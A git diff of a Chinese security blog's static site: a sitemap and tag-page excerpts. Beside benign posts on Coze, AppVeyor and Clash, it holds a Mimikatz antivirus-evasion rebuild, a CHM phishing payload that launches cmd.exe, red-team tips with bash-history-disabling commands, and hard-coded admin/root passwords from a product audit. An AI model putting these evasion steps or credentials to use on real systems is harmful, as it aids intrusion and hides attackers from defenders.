8F%91/2019-04-24T00:00:00+00:00https://payloads.online/archivers/2019-04-13/1/2019-04-13T00:00:00+00:00https://payloads.online/archivers/2019-04-08/1/2019-04-08T00:00:00+00:00https://payloads.online/categories/%E7%94%9F%E6%B4%BB/2019-04-08T00:00:00+00:00https://payloads.online/archivers/2019-04-02/2/2019-04-02T00:00:00+00:00https://payloads.online/archivers/2019-04-02/1/2019-04-02T00:00:00+00:00https://payloads.online/archivers/2019-03-16/1/2019-03-30T00:00:00+00:00https://payloads.online/archivers/2019-03-30/2/2019-03-30T00:00:00+00:00https://payloads.online/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/2019-03-30T00:00:00+00:00https://payloads.online/archivers/2019-03-14/1/2019-03-14T00:00:00+00:00https://payloads.online/categories/windows/2019-03-14T00:00:00+00:00https://payloads.online/categories/%E5%BA%94%E6%80%A5%E5%93%8D%E5%BA%94/2019-02-23T00:00:00+00:00https://payloads.online/archivers/2019-02-23/1/2019-02-23T00:00:00+00:00https://payloads.online/archivers/2019-01-31/1/2019-01-31T00:00:00+00:00https://payloads.online/archivers/2019-01-26/2/2019-01-26T00:00:00+00:00https://payloads.online/archivers/2019-01-26/1/2019-01-26T00:00:00+00:00https://payloads.online/archivers/2018-18-31/2018-12-31T00:00:00+00:00https://payloads.online/archivers/2018-12-22/1/2018-12-22T00:00:00+00:00https://payloads.online/categories/c++/c/2018-12-21T00:00:00+00:00https://payloads.online/archivers/2018-12-21/1/2018-12-21T00:00:00+00:00https://payloads.online/categories/c/c++/2018-12-20T00:00:00+00:00https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/2018-12-20T00:00:00+00:00https://payloads.online/archivers/2018-12-20/windows-FileMapping/2018-12-20T00:00:00+00:00https://payloads.online/archivers/2018-12-20/1/2018-12-20T00:00:00+00:00https://payloads.online/archivers/2018-12-19/linux-privilege/2018-12-19T00:00:00+00:00https://payloads.online/archivers/2018-12-19/1/2018-12-19T00:00:00+00:00https://payloads.online/archivers/2018-12-18/6/2018-12-18T00:00:00+00:00https://payloads.online/archivers/2018-12-18/2/2018-12-18T00:00:00+00:00https://payloads.online/archivers/2018-12-18/1/2018-12-15T00:00:00+00:00https://payloads.online/archivers/2018-12-06/1/2018-12-05T00:00:00+00:00https://payloads.online/archivers/2018-11-30/1/2018-11-30T00:00:00+00:00https://payloads.online/archivers/2018-11-26/1/2018-11-26T00:00:00+00:00https://payloads.online/archivers/2018-11-04/1/2018-11-04T00:00:00+00:00https://payloads.online/categories/web%E5%AE%89%E5%85%A8/2018-11-04T00:00:00+00:00https://payloads.online/archivers/2018-10-30/1/2018-10-30T00:00:00+00:00https://payloads.online/archivers/2018-10-19/1/2018-10-19T00:00:44+00:00https://payloads.online/archivers/2018-10-14/1/2018-10-13T00:00:00+00:00https://payloads.online/archivers/2018-10-08/1/2018-10-08T00:00:00+00:00https://payloads.online/archivers/2018-08-16/1/2018-08-16T00:00:00+00:00https://payloads.online/archivers/2018-08-15/1/2018-08-15T00:00:00+00:00https://payloads.online/categories/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/2018-08-15T00:00:00+00:00https://payloads.online/archivers/2018-08-03/2/2018-08-03T00:00:00+00:00https://payloads.online/categories/nmap/2018-07-27T00:00:00+00:00https://payloads.online/archivers/2018-07-27/1/2018-07-27T00:00:00+00:00https://payloads.online/archivers/2018-06-09/1/2018-06-09T00:00:00+00:00https://payloads.online/archivers/2018-05-02/1/2018-05-02T00:00:00+00:00https://payloads.online/archivers/2018-04-20/1/2018-04-20T00:00:00+00:00https://payloads.online/archivers/2018-03-27/1/2018-03-27T00:00:00+00:00https://payloads.online/categories/linux/2018-03-20T00:00:00+00:00https://payloads.online/archivers/2018-03-20/1/2018-03-20T00:00:00+00:00https://payloads.online/archivers/2018-03-18/1/2018-03-18T00:00:00+00:00https://payloads.online/archivers/2015-11-20/2/2018-03-16T00:00:00+00:00https://payloads.online/categories/%E7%BD%91%E7%BB%9C%E5%B7%A5%E7%A8%8B/2018-03-16T00:00:00+00:00https://payloads.online/archivers/2018-03-04/1/2018-03-04T00:00:00+00:00https://payloads.online/archivers/2018-01-30/1/2018-01-30T00:00:00+00:00https://payloads.online/archivers/2018-01-22/1/2018-01-22T00:00:00+00:00https://payloads.online/archivers/2017-12-28/1/2017-12-28T00:00:00+00:00https://payloads.online/archivers/2017-11-22/1/2017-11-22T00:00:00+00:00https://payloads.online/categories/%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/2017-11-22T00:00:00+00:00https://payloads.online/archivers/2017-11-21/1/2017-11-21T00:00:00+00:00https://payloads.online/categories/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/2017-11-21T00:00:00+00:00https://payloads.online/archivers/2017-11-14/1/2017-11-14T00:00:00+00:00https://payloads.online/tools/socat/2017-11-09T00:00:00+00:00https://payloads.online/archivers/2017-11-08/1/2017-11-08T00:00:00+00:00https://payloads.online/archivers/2017-08-21/1/2017-08-21T00:00:00+00:00https://payloads.online/archivers/2017-08-18/1/2017-08-18T00:00:00+00:00https://payloads.online/archivers/2017-08-07/1/2017-08-07T00:00:00+00:00https://payloads.online/archivers/2017-07-31/1/2017-07-31T00:00:00+00:00https://payloads.online/archivers/2017-06-08/2/2017-06-08T00:00:00+00:00https://payloads.online/archivers/2017-06-05/1/2017-06-05T00:00:00+00:00https://payloads.online/archivers/nmap-write-script/2017-06-02T00:00:00+00:00https://payloads.online/archivers/2017-03-05/1/2017-03-23T00:00:00+00:00https://payloads.online/archivers/2017-03-10/2/2017-03-13T00:00:00+00:00https://payloads.online/archivers/2017-03-10/1/2017-03-07T00:00:00+00:00https://payloads.online/archivers/2017-03-06/1/2017-03-06T00:00:00+00:00https://payloads.online/archivers/2017-03-05/1/2017-03-05T00:00:00+00:00https://payloads.online/archivers/2015-11-23/1/2015-11-23T00:00:00+00:00https://payloads.online/archivers/2015-11-20/6/2015-11-20T00:00:00+00:00https://payloads.online/archivers/2015-11-20/5/2015-11-20T00:00:00+00:00https://payloads.online/archivers/2015-11-20/1/2015-11-20T00:00:00+00:00https://payloads.online/archivers/2015-11-20/4/2015-11-20T00:00:00+00:00https://payloads.online/archivers/2015-11-20/3/2015-11-20T00:00:00+00:00https://payloads.online/about/https://payloads.online/readme/https://payloads.online/about/https://payloads.online/courses/https://payloads.online/categories/link/https://payloads.online/projects/https://payloads.online/links/https://payloads.online/message/https://payloads.online/sponsor/ \ No newline at end of file diff --git "a/tags/ai\347\233\270\345\205\263/index.html" "b/tags/ai\347\233\270\345\205\263/index.html" new file mode 100644 index 0000000..8ef0fb0 --- /dev/null +++ "b/tags/ai\347\233\270\345\205\263/index.html" @@ -0,0 +1,3 @@ +AI相关 - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: AI相关

      \ No newline at end of file diff --git "a/tags/ai\347\233\270\345\205\263/index.xml" "b/tags/ai\347\233\270\345\205\263/index.xml" new file mode 100644 index 0000000..fcae9e8 --- /dev/null +++ "b/tags/ai\347\233\270\345\205\263/index.xml" @@ -0,0 +1,5 @@ +AI相关 on 倾旋的博客https://payloads.online/tags/ai%E7%9B%B8%E5%85%B3/Recent content in AI相关 on 倾旋的博客Hugozh-cn倾旋 All rights reservedTue, 04 Jun 2024 00:00:00 +0000使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/👾实现思路 Coze有个版本,分别面向海外和国内,这里我使用海外版本 +域名 模型 备注 coze.com GPT4o\GPT3.5\GPT4\Gemini 1.5 Pro.. 海外魔法 coze.cn 字节云雀 国内 这里不多介绍Coze平台的基本功能了,请移步官方文档:Coze - Coze 文档中心 +整体实现思路如下: +编写一个能够读取我自己Github Star项目的插件 编写一个能够向知识星球推送文字的插件 创建工作流,方便后续其他Bot调用 创建一个Bot,编写Prompt,导入上述插件进行调试 设置自定义交互的按钮来修改变量,增加易用性 🔧编写访问Github API的插件 为了实现能够将Github的Star项目输入给AI,首先需要编写一个插件,这个插件用于访问Github API接口: +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import os # 获取Github访问令牌 GITHUB_TOKEN = os.getenv(&#39;GITHUB_TOKEN&#39;) headers = { &#39;Authorization&#39;: f&#39;token {GITHUB_TOKEN}&#39; } def get_starred_repos(username): url = f&#39;https://api. \ No newline at end of file diff --git a/tags/appveyor/index.html b/tags/appveyor/index.html new file mode 100644 index 0000000..4724608 --- /dev/null +++ b/tags/appveyor/index.html @@ -0,0 +1,3 @@ +Appveyor - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: Appveyor

      • 23 +Jul 2023

        使用Appveyor构建VS项目-快速编译

        在工作中经常会看到一些做的比较好的C++开源项目,但是作者没有编写CI/CD去构建项目,发布Release版本的二进制文件,因此需要自己手动编译,但有时候又是临时的环境,还需要安装Visual Studio之类的IDE来构建,比较麻烦,因此appveyor可以支持各类语言的构建环境,只需要在网页上就可以发布二进制程序,解决了本地安装开发环境的痛点。
      \ No newline at end of file diff --git a/tags/appveyor/index.xml b/tags/appveyor/index.xml new file mode 100644 index 0000000..fdeb22d --- /dev/null +++ b/tags/appveyor/index.xml @@ -0,0 +1,20 @@ +Appveyor on 倾旋的博客https://payloads.online/tags/appveyor/Recent content in Appveyor on 倾旋的博客Hugozh-cn倾旋 All rights reservedSun, 23 Jul 2023 00:00:00 +0000使用Appveyor构建VS项目-快速编译https://payloads.online/archivers/2023-07-23/appveyor/Sun, 23 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-23/appveyor/前言 Appveyor简介 我们为Windows开发人员提供持续集成工具。该服务是免费提供给开源项目使用的,我们为私有项目提供订阅服务,并在客户现场提供AppVeyor企业安装服务。 +迄今为止,已有超过50,000名开发人员使用了AppVeyor,并运行了超过1000万次构建。AppVeyor受到微软、谷歌、Facebook、Mozilla、Slack、GitHub等公司的信任。 +About | AppVeyor +构建Github项目 AppVeyor提供了它特有的配置文件用于声明构建动作,开发者可以通过编写AppVeyor配置文件来控制程序的发布流程。 +这里只讨论没有AppVeyor配置文件的项目,以https://github.com/goldshtn/etrace为例,etrace是一个命令行工具,用于实时跟踪 ETW 事件和 处理现有的 .etl 录制文件。它的灵感来自Microsoft ELT工具。 +该项目没有AppVeyor配置文件,首先Fork这个项目到自己账户名下,然后访问https://www.appveyor.com/,以Github账户登录,并且授权读取此仓库。 +在Github这一栏可以看到授权的仓库,点击 +ADD 就可以进入项目的构建配置界面: +由于这个项目是采用C#开发的,所以我们着重关注C#相关的配置: +在Before build script中输入如下命令,会在开始编译之前去下载这个项目所依赖的库: +1 nuget restore 在开发.NET应用程序时,通常会使用NuGet来管理项目所依赖的第三方库和组件。NuGet是.NET生态系统中最受欢迎的包管理器之一,它提供了一个中央存储库,开发人员可以从中获取各种软件包和库。 +&ldquo;nuget restore&quot;命令会读取项目文件(.csproj或.vbproj)中的依赖关系,并下载或还原所需的NuGet包,以确保项目可以成功编译和构建。这个命令通常在CI/CD(持续集成/持续交付)过程中使用,以确保在构建项目之前,所有的依赖关系都被正确地还原和安装。 +除此之外,还可以在环境配置中设置安装开发库的命令: +最后一步就是设置二进制文件打包了,点击artifacts,可以配置要打包的路径,必须是相对路径,C#的程序一般会将二进制文件生成到bin目录下,所以我这里就写:etrace\bin +保存后,回到项目页面,点击Start New Build就开始构建了: +稍微等待一下,就可以看到构建好的程序了,直接下载就可以使用。 +使用AppVeyor构建Mimikatz Mimikatz是gentilkiwi使用C语言开发的Windows安全工具,该工具有着丰富的功能,能过从内存中提取明文密码,哈希,PIN码和kerberos票据、哈希传递等等,随着越来越多的黑客滥用此工具进行一些非法活动,因此gentilkiwi每发布一个Release,Release中的Mimikatz样本就会被标记为黑客工具,这对红队带来了一些小麻烦,通过AppVeyor我们可以自动化的做一些静态特征处理,然后自动构建产生新的工具。 +gentilkiwi已经在Mimikatz项目中内置了一个AppVeyor的配置文件,这个配置文件会随着项目改动自动触发AppVeyor的构建流程。 +我们要做的就是先Fork一份Mimikatz到自己的项目中,然后开始修改AppVeyor配置文件: +这里我只是做了一个工作,就是将代码中的所有Mimikatz字符串替换为aabbcc,当然还可以做很多其它的替换操作。 +1 2 3 4 5 6 7 8 9 10 11 12 13 14 ls; Copy-Item C:\projects\mimikatz\mimikatz\mimikatz.ico C:\projects\mimikatz\mimikatz\aabbcc.ico; (Get-ChildItem -Path &#34;.&#34; -Recurse -File -Include *.h,*.c,*.vcxproj,*.rc) | ForEach-Object { $newFileName = $_. \ No newline at end of file diff --git a/tags/clash/index.html b/tags/clash/index.html new file mode 100644 index 0000000..d300a5d --- /dev/null +++ b/tags/clash/index.html @@ -0,0 +1,3 @@ +Clash - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: Clash

      • 07 +Aug 2023

        记录一下配置Clash透明代理

        日常办公和上网需要挂不同的代理,切换起来有点麻烦,所以记录一下配置Clash透明代理的流水账
      \ No newline at end of file diff --git a/tags/clash/index.xml b/tags/clash/index.xml new file mode 100644 index 0000000..17d3560 --- /dev/null +++ b/tags/clash/index.xml @@ -0,0 +1,3 @@ +Clash on 倾旋的博客https://payloads.online/tags/clash/Recent content in Clash on 倾旋的博客Hugozh-cn倾旋 All rights reservedMon, 07 Aug 2023 00:00:00 +0000记录一下配置Clash透明代理https://payloads.online/archivers/2023-08-07/clash-config/Mon, 07 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-07/clash-config/📝Clash是什么? https://github.com/Dreamacro/clash +Clash是一个支持多种协议隧道转发的工具,主要功能如下: +Inbound: HTTP, HTTPS, SOCKS5 server, TUN device Outbound: Shadowsocks(R), VMess, Trojan, Snell, SOCKS5, HTTP(S), Wireguard Rule-based Routing: dynamic scripting, domain, IP addresses, process name and more Fake-IP DNS: minimises impact on DNS pollution and improves network performance Transparent Proxy: Redirect TCP and TProxy TCP/UDP with automatic route table/rule management Proxy Groups: automatic fallback, load balancing or latency testing Remote Providers: load remote proxy lists dynamically RESTful API: update configuration in-place via a comprehensive API 目前作者还在维护高级核心版(免费),为了尝试支持更多功能。 \ No newline at end of file diff --git a/tags/index.html b/tags/index.html index 767ba05..77f1755 100644 --- a/tags/index.html +++ b/tags/index.html @@ -1,2 +1,10 @@ Tags - 倾旋的博客 -
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tags

      \ No newline at end of file +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tags

      \ No newline at end of file diff --git a/tags/index.xml b/tags/index.xml index fd1644e..1bf3044 100644 --- a/tags/index.xml +++ b/tags/index.xml @@ -1 +1 @@ -Tags on 倾旋的博客https://payloads.online/tags/Recent content in Tags on 倾旋的博客Hugozh-cn倾旋 All rights reserved \ No newline at end of file +Tags on 倾旋的博客https://payloads.online/tags/Recent content in Tags on 倾旋的博客Hugozh-cn倾旋 All rights reservedTue, 04 Jun 2024 00:00:00 +0000AI相关https://payloads.online/tags/ai%E7%9B%B8%E5%85%B3/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/tags/ai%E7%9B%B8%E5%85%B3/心情随笔https://payloads.online/tags/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/Fri, 29 Dec 2023 00:00:00 +0000https://payloads.online/tags/%E5%BF%83%E6%83%85%E9%9A%8F%E7%AC%94/Phishinghttps://payloads.online/tags/phishing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/tags/phishing/代码审计https://payloads.online/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/Vscodehttps://payloads.online/tags/vscode/Fri, 08 Sep 2023 00:00:00 +0000https://payloads.online/tags/vscode/Redteamhttps://payloads.online/tags/redteam/Thu, 10 Aug 2023 00:00:00 +0000https://payloads.online/tags/redteam/Clashhttps://payloads.online/tags/clash/Mon, 07 Aug 2023 00:00:00 +0000https://payloads.online/tags/clash/Appveyorhttps://payloads.online/tags/appveyor/Sun, 23 Jul 2023 00:00:00 +0000https://payloads.online/tags/appveyor/Useful-Softwarehttps://payloads.online/tags/useful-software/Wed, 19 Jul 2023 00:00:00 +0000https://payloads.online/tags/useful-software/ \ No newline at end of file diff --git a/tags/phishing/index.html b/tags/phishing/index.html new file mode 100644 index 0000000..be9dad9 --- /dev/null +++ b/tags/phishing/index.html @@ -0,0 +1,3 @@ +Phishing - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: Phishing

      • 18 +Sep 2023

        邮件钓鱼与T1218.001

        今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。
      \ No newline at end of file diff --git a/tags/phishing/index.xml b/tags/phishing/index.xml new file mode 100644 index 0000000..5004a4f --- /dev/null +++ b/tags/phishing/index.xml @@ -0,0 +1,6 @@ +Phishing on 倾旋的博客https://payloads.online/tags/phishing/Recent content in Phishing on 倾旋的博客Hugozh-cn倾旋 All rights reservedMon, 18 Sep 2023 00:00:00 +0000邮件钓鱼与T1218.001https://payloads.online/archivers/2023-09-18/phishing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/phishing/背景 今天中午看到一份关于Bitter组织针对亚太地区能源部门发起钓鱼活动分析报告,其中@Ryan Robinson 2023年3月24日对该组织使用的CHM样本进行了分析。于是开始详细了解为什么CHM格式在钓鱼中可以发挥如此大的价值。 +CHM文件打开的过程 CHM文件是各种内容的压缩编译,如HTML文档,图像和脚本/Web相关的编程语言,在CHM打开时,会调用IE浏览器的基础组件解析显示,双击打开CHM文件其实本质上是创建了一个hh.exe的进程。 +CHM的Payload CHM文件可以通过hh.exe进行反编译: +1 hh.exe -decompile %temp% payload.chm 如何构建CHM文件? 可以使用Microsoft HTML Help Workshop工具创建CHM文件,FILES指的是目录,OPTIONS指的是文档基本信息: +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &lt;html&gt; &lt;head&gt; &lt;OBJECT id=&#34;Test&#34; type=&#34;application/x-oleobject&#34; classid=&#34;clsid:52a2aaae-085d-4187-97ea-8c30db990436&#34; codebase=&#34;hhctrl.ocx#Version=5,02,3790,1194&#34; width=&#34;1&#34; height=&#34;1&#34;&gt; &lt;PARAM name=&#34;Command&#34; value=&#34;ShortCut&#34;&gt; &lt;PARAM name=&#34;Button&#34; value=&#34;Bitmap:shortcut&#34;&gt; &lt;PARAM name=&#34;Item1&#34; value=&#34;,cmd.exe, /c calc.exe&#34;&gt; &lt;PARAM name=&#34;Item2&#34; value=&#34;273,1,1&#34;&gt; &lt;/object&gt; &lt;script&gt; Test.HHClick(); &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Hello&lt;/h1&gt; &lt;/body&gt; &lt;/html&gt; 在这段代码中,调用了hhctrl.ocxCOM组件,该组件的方法可以执行命令: +COM组件方法列表:CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTIC \ No newline at end of file diff --git a/tags/redteam/index.html b/tags/redteam/index.html new file mode 100644 index 0000000..8a32667 --- /dev/null +++ b/tags/redteam/index.html @@ -0,0 +1,3 @@ +Redteam - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: Redteam

      • 10 +Aug 2023

        红队行动守则

        这篇文章是收集了多数红队在进行红队行动的经验之谈,由于工作发展原因,不再继续红队相关的工作,因此决定分享出来。
      \ No newline at end of file diff --git a/tags/redteam/index.xml b/tags/redteam/index.xml new file mode 100644 index 0000000..8b98290 --- /dev/null +++ b/tags/redteam/index.xml @@ -0,0 +1,2 @@ +Redteam on 倾旋的博客https://payloads.online/tags/redteam/Recent content in Redteam on 倾旋的博客Hugozh-cn倾旋 All rights reservedThu, 10 Aug 2023 00:00:00 +0000红队行动守则https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/Thu, 10 Aug 2023 00:00:00 +0000https://payloads.online/archivers/2023-08-10/redteam-operation-code-of-conduct/ 攻击注意事项 使用免杀Webshell(文件特征、流量特征),禁止使用开源社区通用Webshell,这些是我过去常用的Webshell: https://github.com/Rvn0xsy/usefull-code 尽可能的删除依赖工具的软件特征、流量特征 打点后先进行权限维持(并且最好都额外打一个内存马) 原因:单个Webshell即使免杀,也有可能被防守方发现,一旦被删除就失去了服务器控制权 不执行敏感的操作(如反弹Shell) 获取权限后的信息收集,通过网络、应用业务、服务器登录日志、命令执行日志判断当前机器是否是蜜罐 核心关键隧道:使用规避内存扫描的C2解决方案 端口反连使用常见端口,伪装正常应用流量(25,110,80,443,993,995,8080,8443) C2基础设施配置为HTTPS/DNS上线,最好勿用HTTP,证书采用CDN服务商或Let’s Encrypt 搭建正向的Web代理后,应当先研究如何提升隧道传输质量,避免多人扫描 Web正向代理的思考 | 倾旋的博客 +内网探测工具的选择尽可能脚本化、去特征、低频率 隧道建立:采用开源魔改工具实现,避免流量和样本特征与公开的重合 弱口令扫描:低频、小字典、优先尝试SSH/RDP/MySQL/MSSQL等弱口令(分两类:有数据的服务器、有管理端口的服务器) 登录Linux服务器,应当避免Bash History被记录可使用sh来执行命令,或设置环境变量避免Bash记录历史命令。 1 2 3 4 5 6 python -c &#39;import pty;pty.spawn(&#34;/bin/sh&#34;)&#39; # or unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 操作合规:非必要情况下,不修改任何服务器用户密码 操作合规:非必要情况下,不使用破坏性较强的Exploit或者工具 操作合规:非必要情况下,不要对内网进行大规模探测 例如不要/8 操作合规:非必要情况下,切勿上来就进行扫描探测,先应对当前主机做详细的信息搜集和分析 工具存放:工具统一存放在隐藏目录下,文件名称命名为服务进程(tomcat/nginx)等,有AV/EDR情况,工具应先本地测试免杀之后,再落地到目标服务器,最好有多个平替工具 反溯源注意事项 外网攻击时:尽量使用虚拟机进行渗透,并且测试时不提交包含个人特征信息的手机号码、QQ、微信、其他信息,最好日常工作的浏览器和渗透攻击的浏览器用两个。一般我会创建攻击机的虚拟机快照,项目结束恢复初始状态,干干净净。 内网攻击时:攻击结束必须进行痕迹清理,及时删除自用软件,如Webshell、免杀上线马、0day工具、扫描工具、自研工具,甚至包含系统日志。 短线社工钓鱼:尽量避开技术人员,从非技术人员入手,钓鱼信息为非实名信息 短线社工钓鱼:远程获取的可执行文件,谨慎点击(尤其是VPN客户端,谨防蜜罐),可以上传各类沙箱进行检测,同时运行可以采用虚拟机的方式。 在开源社区获得系统或工具源代码后,谨慎打开,防止IDE的编译、加载、调试选项内藏上线命令。 职业操守 禁止下载、更改业务数据(企业数据),修改业务系统密码(如路由器、Web站点后台、VPN)降低业务影响。 禁止使用会造成不良后果的攻击方式(如DDOS攻击)。 测试结束后删除Webshell等恶意文件或记住固定存放位置。 禁止使用境外跳板机、VPN。 使用统一攻击资源与授权攻击工具。 对项目、行动内容在公开场合进行保密,不产生任何舆论影响。 \ No newline at end of file diff --git a/tags/useful-software/index.html b/tags/useful-software/index.html new file mode 100644 index 0000000..dab194c --- /dev/null +++ b/tags/useful-software/index.html @@ -0,0 +1,3 @@ +Useful-Software - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: Useful-Software

      \ No newline at end of file diff --git a/tags/useful-software/index.xml b/tags/useful-software/index.xml new file mode 100644 index 0000000..57dce89 --- /dev/null +++ b/tags/useful-software/index.xml @@ -0,0 +1,3 @@ +Useful-Software on 倾旋的博客https://payloads.online/tags/useful-software/Recent content in Useful-Software on 倾旋的博客Hugozh-cn倾旋 All rights reservedWed, 19 Jul 2023 00:00:00 +0000常用软件记录https://payloads.online/archivers/2023-07-19/useful-software/Wed, 19 Jul 2023 00:00:00 +0000https://payloads.online/archivers/2023-07-19/useful-software/操作系统-[镜像] Windows: MSDN-ItellYou \ ✨LTSC 系统比较纯净 推荐使用LTSC版本的操作系统,系统比较纯净,但需要激活 +Linux: Arch Linux / Ubuntu 比较推荐直接去一些软件源上下载,这里举例清华源 +操作系统工具-[Linux] 文档处理:WPS Office、Mousepad 输入法:Fctix5 … https://github.com/Rvn0xsy/pacman-pkg 软件中心 腾讯软件中心 无广告和捆绑 软件分析 CFF Explorer PE文件解析 IDA 二进制文件分析 Dnspy C#程序反汇编分析 X64Dbg Windows二进制文件分析 浏览器插件 ✨TamperMonkey 油猴插件 ✨AdGuard 拦截广告 ✨Proxy SwitchyOmega 代理切换 ✨Bitwarden 密码管理器 ✨Wappalyzer 分析网站所使用的组件 影视资源 BT之家:btbtt15[.]com 樱花动漫:yinghuadongman[.]me 操作系统工具-[Windows] 备忘录:✨Notion 聊天工具:微信、Slack、✨飞书 电子邮件:Foxmail 文档处理:Microsoft Office、wps 密码管理:✨Bitwarden 浏览器:Google Chrome、✨Microsoft Edge 视频会议:✨腾讯会议 Microsoft To Do待办提醒:✨To Do 文件查找搜索:Everything 抓包分析:Wireshark \ ✨[镜像]Wireshark 镜像下载较快 \ Burpsuite 代码编辑器:VSCode[加速下载]改变官网地址主地址为: vscode. \ No newline at end of file diff --git a/tags/vscode/index.html b/tags/vscode/index.html new file mode 100644 index 0000000..d7ac271 --- /dev/null +++ b/tags/vscode/index.html @@ -0,0 +1,3 @@ +Vscode - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: Vscode

      \ No newline at end of file diff --git a/tags/vscode/index.xml b/tags/vscode/index.xml new file mode 100644 index 0000000..672f5bb --- /dev/null +++ b/tags/vscode/index.xml @@ -0,0 +1,5 @@ +Vscode on 倾旋的博客https://payloads.online/tags/vscode/Recent content in Vscode on 倾旋的博客Hugozh-cn倾旋 All rights reservedFri, 08 Sep 2023 00:00:00 +0000VsCode扩展中的DLL注入器https://payloads.online/archivers/2023-09-08/vscode-dll/Fri, 08 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-08/vscode-dll/安装完毕Python调试扩展后,会在扩展目录中生成一些文件: +其中以下两个文件是DLL注入器,分别对应X86和X64位操作系统: +inject_dll_x86.exe inject_dll_amd64.exe 在windows文件夹中还保留了注入器的源代码: +路径:C:\Users\Administrator\.vscode\extensions\ms-python.python-2022.20.2\pythonFiles\lib\python\debugpy\_vendored\pydevd\pydevd_attach_to_process\windows +1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 // inject_dll. \ No newline at end of file diff --git "a/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.html" "b/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.html" new file mode 100644 index 0000000..6d8144f --- /dev/null +++ "b/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.html" @@ -0,0 +1,3 @@ +代码审计 - 倾旋的博客 +
      倾旋的博客

      倾旋的博客

      现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

      Tag: 代码审计

      \ No newline at end of file diff --git "a/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.xml" "b/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.xml" new file mode 100644 index 0000000..bdd7b8c --- /dev/null +++ "b/tags/\344\273\243\347\240\201\345\256\241\350\256\241/index.xml" @@ -0,0 +1,9 @@ +代码审计 on 倾旋的博客https://payloads.online/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/Recent content in 代码审计 on 倾旋的博客Hugozh-cn倾旋 All rights reservedMon, 18 Sep 2023 00:00:00 +0000某安全数据交换系统的漏洞挖掘https://payloads.online/archivers/2023-09-18/code-auditing/Mon, 18 Sep 2023 00:00:00 +0000https://payloads.online/archivers/2023-09-18/code-auditing/本文写于2022年,分享一下挖掘某安全数据交换系统漏洞的过程。 +基本信息: +后台管理界面用户名密码:admin/nxg@LL99 操作系统:root / bo%Fn!71、uninxg / lx$zR9ce 配置网络 根据产品安装文档环境搭建完毕后,手动设置IP地址和DNS: +手工修改 /etc/resolv.conf +1 2 nameserver 114.114.114.114 nameserver 8.8.8.8 修改 